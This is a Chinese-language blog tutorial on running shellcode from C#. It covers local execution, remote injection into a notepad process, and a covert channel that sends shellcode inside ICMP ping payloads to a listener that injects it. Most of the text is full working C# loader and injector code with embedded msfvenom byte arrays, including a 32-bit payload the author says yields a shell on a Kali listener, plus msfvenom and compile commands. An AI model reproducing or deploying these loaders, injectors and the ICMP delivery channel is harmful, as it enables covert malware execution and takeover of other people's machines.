https://github.com/RomanRII/shellcode-through-ICMP

0x00 前言

前面的文章中,我们学习了C++如何在本地进程和远程进程中执行shellcode,而本文中是使用C#代码利用icmp传递shellcode的,因此,我们需要先学习一下C#如何执行shellcode。

0x01 csharp进程注入

在本地进程中执行shellcode

x64与x86的区别

这里我们先说清楚两者的区别:就定义的时候,用UInt64UInt32的区别

注意,如果你也是用vs,编译的时候,一定要注意生成的shellcode是32位的,编译的时候要选x86;shellcode是64位的,编译的时候要选择x64

32位

老规矩,先用msfvenom生成一波32位系统的Shellcode。

所涉及的win32 API,在上一篇文章里面学习过了,这里唯一的区别就在于C#还需要DLLImport来导入win32 api而已。

DllImport的用法也很简单,就三步:

  1. 引入命名空间using System.Runtime.InteropServices;
  2. 根据win32函数的接口,创建函数声明
  3. 调用

具体的话,直接看代码,你就懂了

vs首先要新建控制台应用(.NET Framework)项目

然后把以下代码粘贴到Program.cs上即可。

using System;
using System.Runtime.InteropServices;
namespace csharp_shellcode
{
    class Program
    {
        [DllImport("kernel32.dll")]
        static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwstackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHander, UInt32 dwMilliseconds);
        static UInt32 MEM_COMMIT = 0x1000;
        static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
        static void Main(string[] args)
        {
            byte[] shellcode = new byte[348] {
0x2b,0xc9,0x83,0xe9,0xaf,0xe8,0xff,0xff,0xff,0xff,0xc0,0x5e,0x81,0x76,0x0e,
0x1e,0x92,0x8e,0x55,0x83,0xee,0xfc,0xe2,0xf4,0xe2,0x7a,0x0c,0x55,0x1e,0x92,
0xee,0xdc,0xfb,0xa3,0x4e,0x31,0x95,0xc2,0xbe,0xde,0x4c,0x9e,0x05,0x07,0x0a,
0x19,0xfc,0x7d,0x11,0x25,0xc4,0x73,0x2f,0x6d,0x22,0x69,0x7f,0xee,0x8c,0x79,
0x3e,0x53,0x41,0x58,0x1f,0x55,0x6c,0xa7,0x4c,0xc5,0x05,0x07,0x0e,0x19,0xc4,
0x69,0x95,0xde,0x9f,0x2d,0xfd,0xda,0x8f,0x84,0x4f,0x19,0xd7,0x75,0x1f,0x41,
0x05,0x1c,0x06,0x71,0xb4,0x1c,0x95,0xa6,0x05,0x54,0xc8,0xa3,0x71,0xf9,0xdf,
0x5d,0x83,0x54,0xd9,0xaa,0x6e,0x20,0xe8,0x91,0xf3,0xad,0x25,0xef,0xaa,0x20,
0xfa,0xca,0x05,0x0d,0x3a,0x93,0x5d,0x33,0x95,0x9e,0xc5,0xde,0x46,0x8e,0x8f,
0x86,0x95,0x96,0x05,0x54,0xce,0x1b,0xca,0x71,0x3a,0xc9,0xd5,0x34,0x47,0xc8,
0xdf,0xaa,0xfe,0xcd,0xd1,0x0f,0x95,0x80,0x65,0xd8,0x43,0xfa,0xbd,0x67,0x1e,
0x92,0xe6,0x22,0x6d,0xa0,0xd1,0x01,0x76,0xde,0xf9,0x73,0x19,0x6d,0x5b,0xed,
0x8e,0x93,0x8e,0x55,0x37,0x56,0xda,0x05,0x76,0xbb,0x0e,0x3e,0x1e,0x6d,0x5b,
0x05,0x4e,0xc2,0xde,0x15,0x4e,0xd2,0xde,0x3d,0xf4,0x9d,0x51,0xb5,0xe1,0x47,
0x19,0x3f,0x1b,0xfa,0x4e,0xfd,0xb0,0x91,0xe6,0x57,0x1e,0x93,0x35,0xdc,0xf8,
0xf8,0x9e,0x03,0x49,0xfa,0x17,0xf0,0x6a,0xf3,0x71,0x80,0x9b,0x52,0xfa,0x59,
0xe1,0xdc,0x86,0x20,0xf2,0xfa,0x7e,0xe0,0xbc,0xc4,0x71,0x80,0x76,0xf1,0xe3,
0x31,0x1e,0x1b,0x6d,0x02,0x49,0xc5,0xbf,0xa3,0x74,0x80,0xd7,0x03,0xfc,0x6f,
0xe8,0x92,0x5a,0xb6,0xb2,0x54,0x1f,0x1f,0xca,0x71,0x0e,0x54,0x8e,0x11,0x4a,
0xc2,0xd8,0x03,0x48,0xd4,0xd8,0x1b,0x48,0xc4,0xdd,0x03,0x76,0xeb,0x42,0x6a,
0x98,0x6d,0x5b,0xdc,0xfe,0xdc,0xd8,0x13,0xe1,0xa2,0xe6,0x5d,0x99,0x8f,0xee,
0xaa,0xcb,0x29,0x7e,0xe0,0xbc,0xc4,0xe6,0xf3,0x8b,0x2f,0x13,0xaa,0xcb,0xae,
0x88,0x29,0x14,0x12,0x75,0xb5,0x6b,0x97,0x35,0x12,0x0d,0xe0,0xe1,0x3f,0x1e,
0xc1,0x71,0x80 };


            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data
            IntPtr pinfo = IntPtr.Zero;
            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

    }
}

算法思路和C++差不多,只不过后面多了一个WaitForSingleObject,意思就是创建完线程之后,别直接断掉,要等0xFFFFFFFF毫秒,再断,换算一下,大概50天左右。

运行之前,还得简单配置一下项目属性。

选好启动对象输出类型

再选择对应的平台,这里因为我们用msfvenom生成的是32位的shellcode,因此选择x86平台

最后,kali开启监听,然后运行代码,拿到shell

64位

接下来是64位系统的,全局替换UInt32UInt64,然后重新生成shellcode

为了方便演示,这里直接弹框就行

msfvenom -p windows/x64/messagebox TEXT="hello" -f csharp

using System;
using System.Runtime.InteropServices;
namespace csharp_shellcode
{
    class Program
    {
        [DllImport("kernel32.dll")]
        static extern UInt64 VirtualAlloc(UInt64 lpStartAddr, UInt64 size, UInt64 flAllocationType, UInt64 flProtect);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(UInt64 lpThreadAttributes, UInt64 dwstackSize, UInt64 lpStartAddress, IntPtr param, UInt64 dwCreationFlags, ref UInt64 lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt64 WaitForSingleObject(IntPtr hHander, UInt64 dwMilliseconds);
        static UInt64 MEM_COMMIT = 0x1000;
        static UInt64 PAGE_EXECUTE_READWRITE = 0x40;
        static void Main(string[] args)
        {
            byte[] shellcode = new byte[284] {
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
0x85,0x04,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x68,0x65,0x6c,
0x6c,0x6f,0x00,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 };

            UInt64 funcAddr = VirtualAlloc(0, (UInt64)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt64 threadId = 0;
            // prepare data
            IntPtr pinfo = IntPtr.Zero;
            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

    }
}

在远程进程中执行shellcode

受害机器是win10 64位,开启了记事本,PID为11640

msf生成64位的payload

using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;

namespace csharp_shellcode
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(UInt64 processAccess, bool bInheritHandle, UInt64 processID);
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr IpAddress, UInt64 dwSize, UInt64 flAllocationType, UInt64 flProtect);
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt64 nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UInt64 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt64 dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHander, UInt32 dwMilliseconds);
        public static void shellcodeInjection(byte[] shellcode)
        {
            UInt64 notepadPID = 11640;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, notepadPID);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            byte[] buf = shellcode;
            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, (UInt64)buf.Length, out outSize);
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

        static void Main(string[] args)
        {
            byte[] buf = new byte[284] {
                0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
                0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
                0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
                0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
                0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
                0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
                0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
                0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
                0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
                0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
                0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
                0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
                0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
                0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
                0x85,0x04,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
                0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x68,0x65,0x6c,
                0x6c,0x6f,0x00,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 };

            shellcodeInjection(buf);
        }
    }
}

运行代码,即可看到弹框

0x01 ICMP传递shellcode

接下来就是正文了,本来还想翻译一下原文,但是发现已经有表哥做了这步,https://mp.weixin.qq.com/s/O0d46AOG9lxH8GAZvapbQw

因此下面我只列出关键步骤:

下面代码中192.168.174.2为受害IP

shellcode-injector.exe 如下:

using System.Net.NetworkInformation;

namespace shellcodeInjector
{
    class Program
    {


        public static void sendShellcode()
        {
            Ping pingSender = new Ping();
            int timeout = 10000;
            byte[] buf = new byte[295] {
                0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
                0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
                0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
                0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
                0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
                0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
                0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
                0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
                0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
                0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
                0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
                0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
                0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
                0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
                0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
                0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
                0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
                0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 };


            PingOptions options = new PingOptions(64, true);
            pingSender.Send("192.168.174.2", timeout, buf, options);
        }


        static void Main(string[] args)
        {
            sendShellcode();
        }
    }
}

pingInjection.exe如下:

using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;

namespace pingInjection
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(UInt64 processAccess, bool bInheritHandle, UInt64 processID);
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr IpAddress, UInt64 dwSize, UInt64 flAllocationType, UInt64 flProtect);
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt64 nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UInt64 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt64 dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHander, UInt32 dwMilliseconds);
        public static void shellcodeInjection(byte[] shellcode)
        {
            UInt64 notepadPID = 3324;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, notepadPID);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            byte[] buf = shellcode;
            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, (UInt64)buf.Length, out outSize);
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

        public static byte[] getShellcode()
        {
            Socket icmpListener = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);
            icmpListener.Bind(new IPEndPoint(IPAddress.Parse("192.168.174.2"), 0));
            icmpListener.IOControl(IOControlCode.ReceiveAll, new byte[] { 1, 0, 0, 0 }, new byte[] { 1, 0, 0, 0 });
            byte[] buffer = new byte[4096];
            EndPoint remoteEndPoint = new IPEndPoint(IPAddress.Any, 0);
            byte[] shellcode = new byte[4068];

            var bytesRead = icmpListener.ReceiveFrom(buffer, ref remoteEndPoint);
            System.Buffer.BlockCopy(buffer, 28, shellcode, 0, 4068);
            return shellcode;
        }


        static void Main(string[] args)
        {
            byte[] shellcode = getShellcode();
            shellcodeInjection(shellcode);
        }
    }
}

被控制机器win10 64位打开记事本,修改代码中记事本的PIDnotepadPID,运行ping-injection.exe

攻击者机器(64位系统)运行shellcode-injector.exe,受害机器上即出现弹框。

0x02 ping不通

如果你的被攻击机器也是win10 64 位,那很可能上面会复现失败,因为win10的防火墙配置,默认不能被ping。。。

因此需要开启icmp,才能被ping到,才能复现成功

0x03 题外话

在这里 https://github.com/3gstudent/Homework-of-C-Sharp 看到大佬用csc.exe编译执行C#的代码,可以直接无视64位和32位的区别。。。

即代码中尽管都使用了UInt32,使用64位的shellcode,生成的版本选择x64的,也可以正常编译运行。而vs则会直接报错。

c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x64 /out:shell.exe Program.cs

最后修改:2021 年 03 月 01 日 10 : 38 PM
如果觉得我的文章对你有用,请随意赞赏